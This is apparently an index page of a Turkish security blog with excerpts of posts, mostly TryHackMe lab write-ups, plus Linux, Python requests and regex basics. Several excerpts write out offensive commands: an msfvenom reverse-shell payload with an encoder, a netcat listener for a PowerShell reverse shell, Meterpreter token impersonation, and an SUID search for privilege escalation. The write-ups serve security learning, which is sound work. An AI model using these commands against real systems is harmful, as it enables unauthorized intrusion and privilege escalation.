Steel Mountain Metasploit Olmadan Root olmak

Steel Mountain Metasploit Olmadan Root olmak

TryHackMe
TryHackMe üzerinde bulunan Steel Mountain makinesinde çözüm olarak 2 yol gösteriliyor. Yollardan biri kolay olan Metasploit ile erişim alıp yetki sağlamaktadır. Diğer yöntem ise Python ile yazılmış script çalıştırarak diğer adımları izlemektir. Her zaman zafiyetler için exploit işlemlerini Metasploit ile gerçekleştirilemez. Statik olarak da exploit çalıştırabilmeyi tersine bağlantıyı netcat ile alabiliyor olmamız gerekir. Bu yazıdaki amacım ise bunu hedeflemektedir. Nmap İle Zafiyet Tespiti nmap -sC -sV -T4 -Pn 10.10.177.120 -oA nmap İlgili komutların çıktısında, zafiyet olarak "HttpFileServer httpd 2.3" karşımıza çıkacaktır. nmap zafiyet tespiti Exploit db üzerinden "Http File Server " arama yaptığımızda doğrulanmış(verified) olarak bazı scriptler gelmektedir. Bunlar içeresinden https://www.exploit-db.com/exploits/39161 kullanacağız. Exploit kullanımı için şu örneği bizlere vermiş; #Usage : python Exploit.py <Target IP address> <Target Port Number> Ek olarak indirdiğimiz dosya içeresinde, ip_addr ve local_port değişkenleri kendimize göre…
Read More
Meterpreter Incognito Modulü

Meterpreter Incognito Modulü

Cyber Security
Elde ettiğimiz oturum üzerinde yetki yükseltmeye yarayan incognito modulünden bahsedeceğim. Tokenlar aynı web cookilerine benzer. Geçici olarak bu tokenlar bizlere system ve ağlara kullanıcı adı ve şifre sunmadan her zaman erişmemize sağlar. Incognito exploit de tokenları çalar. İki tip token vardır. Bunlar ; Delegate tokenlar interactive'dir. Makinede oturum açmak ya da uzaktan oturum açmak gibi durumlardır. Impersonate tokenlar non-interactive'dir. Ağ sürücüsünde ve ya domain'de oturum açmak gibi durumlardır. Şimdi incognito modulünü meterpreter ile kullanalım use incognito Elde ettiğimiz kullanıcı için kullanabilir tokenları listeleyelim list_tokens -g Tokenlara baktığımızda gözümüze BUILTIN\Administrators çarpıyor. Şimdi bu tokeni çalalım. impersonate_token BUILTIN\\Administrators Aslında her şey iyi gözüküyor. Bir eksiğimiz daha var. Bunun için öneri gereği serivices.exe'ye migrate uygulamak. ps Tüm processler listelenir. migrate PID ile geçiş yapılır. migrate 668 whoami :) Ek bilgiler: whoami /priv SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege…
Read More
Netcat oturumundan Meterpreter’e Geçmek

Netcat oturumundan Meterpreter’e Geçmek

Cyber Security
Netcat telnet tabanlı komut çalıştırabilme ve dosya alış verişi sağlayan basit bir uygulamadır. Bu uygulama ile yeterince hareket ya da özelliğe sahip olamayız. Özellikle yetki yükseltmesi ya da daha fazla sömürü yapmak istiyorsak güçlü bir payload'a ihtiyacımız olur. Bu ihtiyacımızı Meterpreter ile karşılarız. Gerçekleştirilen uygulama https://tryhackme.com/room/alfred makinesi üzerinde gerçekleştirilmiştir. Netcat ile bağlantı alındığı varsayılmıştır. Powershell betiği yardımıyla reverse tcp socket açabildik. Bunun için burada ki betikden yararlanabilirsiniz. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 nc -lvnp 9001 Ek olarak hatırlatmak isterim. CMD üzerinde değiliz hedef sistem üzerinde powershell de çalışıyoruz. Switching Shells , Yetki yükselmeyi kolay hale getirmek için Meterpreter shell kullanacağız. Msfvenom ile shell oluşturmak msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=<ip adresini> LPORT=<port adresiniz> -f exe -o switchshell.exe Seçtiğiniz port numarası hedef sistem ve sizin dinleyeceğiniz sistem üzerinde çakışmamalıdır. LHOST , saldırgan ip…
Read More

Makine Çözümlerinde Yaygın İpucular

Cyber Security
TryHackMe ya da Hackthebox gibi platformlarda karşılaşdığım durumlarda kullandığım kısa yolları güncelleyerek paylaşacağım. SSH keyden kullanıcı adı öğrenmek ve private key ile hedef servere bağlantı sağlamak Sızdığımız zafiyetli makinelerden ya da senaryo gereği bulduğumuz keylerin nasıl kullanıldığı, hangi anahtarın(key) private yada public olduğunu göstereceğim. İlk olarak aldığımız anahtara(key) izin vermeliyiz. Benim aldığım keyler aşağıda ki gibidir. chmod 600 id_rsa chmod 600 did_rsa.pub SSH public anaharı(key) yardımı ile kullanıcı ismini öğrenelim; cat id_rsa.pub ekran çıktısından, cactus olduğunu anlıyoruz. SSH private key ile hedef sunucuya bağlantı aşağıdaki gibi sağlanır. -i parametresi private anahtar(key) verilmelidir. Farklı dizinde ise yolu(path) verilmelidir. ssh cactus@10.10.190.50 -i id_rsa Elimizde shell oturumu var biz bunu meterpreter çevirmek istiyoruz. Bunun için aşağıdaki payload kullanabilir. Çalıştığımız oturum arka plana(background) alınmalıdır. use post/multi/manage/shell_to_meterpreter set session <session number> Kurtarıcı ve kullanışlı simpleHTTPServer…
Read More
SUID Ve Yetki Yükseltme

SUID Ve Yetki Yükseltme

Cyber Security
SUID Nedir? SUID, geçiçi olarak programa/dosyaya dosya sahibi gibi çalıştırma yetkisi verir. Aşağıdaki ekran çıktısını yorumlayalım. İlgili çıktıda dosya sahibinin root ve dosya sahibinin grup değerinin root olduğu gözüküyor. Kullanıcı, Grup kullanıcıları ve Diğer kullanıcıların izinlerine baktığımızda W(yazma) yetkisi root kullanıcısında bulunmaktadır. Suid ise burda komut çalıştırıldığı zaman her kullanıcıya geçici olarak W yetkisi vererek shadow dosyasına yazma işlemi yapmasını sağlamaktadır. Eğer böyle olmasaydı normal kullanıcılar şifrelerini değiştiremez olurdu. Hatalı SUID ile Yetki yükseltme Linux dağıtımlarında default olarak ya da hatalı Suid yapılandırmalar sonucunda zafiyetler ortaya çıkmaktadır. Bu zafiyetlerin sömürülmesi için hangi program ya da dosyada Suid değeri bulunduğu tespit etmemiz gerekir. find / -user root -perm -4000 -print 2>/dev/null find komutu ile yaptığımız sorguda en çok sömürülen ve bize iyi bir yetki verebilecek /bin/systemctl komutunu görüyoruz. Bunu kullanarak reverse…
Read More
Kullanışlı Linux Temel Bilgileri

Kullanışlı Linux Temel Bilgileri

Linux
Linux dağıtımlarında kullanılan temel bazı komutların ekran çıktıları ile ilişkilendirerek gösterilmesi sağlayacağım. Burada paylaşdığım bazı komutların özellikle yeni mezun ya da kendini geliştiren kişilere ileride çalıştıkları sistemler üzerinde ezbere komut kullanmak yerine çıkan output(sonuç) anlayabileceklerdir. Linux dağıtımlarında bulunduğunuz dizin üzerinde dosya türlerini, sahiplerini ve boyutlarını görmek için aşağıda ki komut kullanılır. ls -lah Hatırlatma: ls komutu listeleme yapar. -l komutu dosya sahiplerini gösterir, -a hepsini gösterir, -h okunabilirliği artırır. d : Directory (Dizin) l : Sysmbolic Link, Basit tanım ile bir dizin, dosya veya uygulama için kısa yollardır. - : Regular file , Metin dosyaları, resimler vb. farklı dosyaları temsil eder. p : Named Pipe, iki lokal işlem arasında iletişim izin verir. Linux Dağıtımlarımda Alias Oluşturmak Alias (takma ad) bizler tarafından tanımlanan komutlardır. İp adresimizi görmek için ipgoster isimli Alias…
Read More

Burp Suite İle Brute force Http Basic Authentication

Cyber Security
Apache üzerinde yapılandırılmış Http basic Authetication alanına deneme yanılma saldırıları yapılacaktır. Bu işlem için Burp Suite kullanıyor olacağım. İlgii atağa geçmeden önce proxy ayarlarınızı yapmalısınız yada içeresinde gömülü olarak gelen tarayıcıyı kullanarak işlemi gerçekleştirebilirsiniz. Ben içeresinde gömülü gelen tarayıcı kullanacağım. Ayrıca community edition sürümünü kullanıyorum. Proxy alanı içeresinde Open Browser dan önce Intercept is off olmalıdır. Bunu login ekranı geldikten sonra on yapacağız. Login ekranına erişim sağlandığında Intercept is on olmalıdır. Yani bundan sonra göndereceğimiz istek Burp Suite ile tutulacaktır. Bu sayede de gerekli atakları ve düzenlemeleri yapabiliyor olacağız. Evet ilgili isteğimiz yakalandı ve basic olarak Authorization gözüküyor. Burada ki bir detay da gönderdiğimiz kullanıcı adı ve şifre plain text olarak gitmiyor. Encode edilmiş hali gönderiliyor. Burada gördüğümüz gibi base64 ile encode edilmiş , biz buna decode işlemi yapacağız. Şimdi…
Read More

Python Requests Modülü ve Api

Code library
Python Requests Modülünün Kurulması İlk olarak python3 için geçerli pip kurulur. Paket yüklü ise kodu çalıştırmanız sorun yaratmayacaktır. Ardından requests modülü kurulur. sudo apt-get install python3-pip pip3 install requests Windows kurulumu için aşağıdaki satır uygulanmalıdır. python -m pip install requests Requests modülünü kullandığımız zaman API Servere get isteği gönderilir. Bu isteği alan API server karşılık olarak Response Code(kod) ve Response Data(veri) gönderir. Gönderilen veri tipi genellikle JSON yapısındadır. JSON yapısı hakkında bilgi almak için ilgili yazımı okuyabilirsiniz. https://www.asimmisirli.com/json-file-yapisi-ve-php-ile-okumak/ Get: Basit tanım olarak, client ve server arasında oluşturulmuş istek tipidir. Biz buradaki istek şeklini post veya put şeklinde de değiştirilebilir. Response Code: Server tarafından geri gönderilen uluslararası tanımlanmış kodlardır. Yani her server aynı kod hatalarını barındırır. Response Kodların bazıları şunlardır: 200: İstek başarılı 301: Yönlendirme mevcut ilgili adrese yönlendirileceksiniz. 400: İstek…
Read More

Regular Expression ve PHP

Code library
Regex Nedir ? Türkçesi düzenli ifade anlamına gelir. Asıl amacı ise metin içeresinde istenilen ifadelerin bir pattern(desen) oluşturularak ulaşması hedeflenir. Regex Bazı Artıları şunlardır; Esnek ve karmaşık aramaları yapabilmeHer programlama dili tarafından desteklenirDinamik oluşturulan desen(pattern) sayesinde sizi ileride az sorunla karşılaştırır. Regex cheatsheet(kopya kağıdı) bazı ifadeler için . yeni satır hariç, tüm karakterler \w\d\s harf, rakam, boşluk \W\D\S harf, rakam, boşluk olmayanları alır [a-z] a ve z arasında bulunan tüm karakterleri alır [^a-e] a ve e arasında bulunmayan karakterleri alır. [0-9] 0 ile 9 arasında tüm rakamları alır ? Olabilir ya da olmayabilir \. \* Özel karakterler için sadece . veya * ifadelerine bakar. \/ / ifadesini seçer ^a a harfi ile başlayanları alır.String ifadenin başını alır. m$ m harfi bitenleri alır. String ifadenin sonunu alır. w{3} 3 tane w…
Read More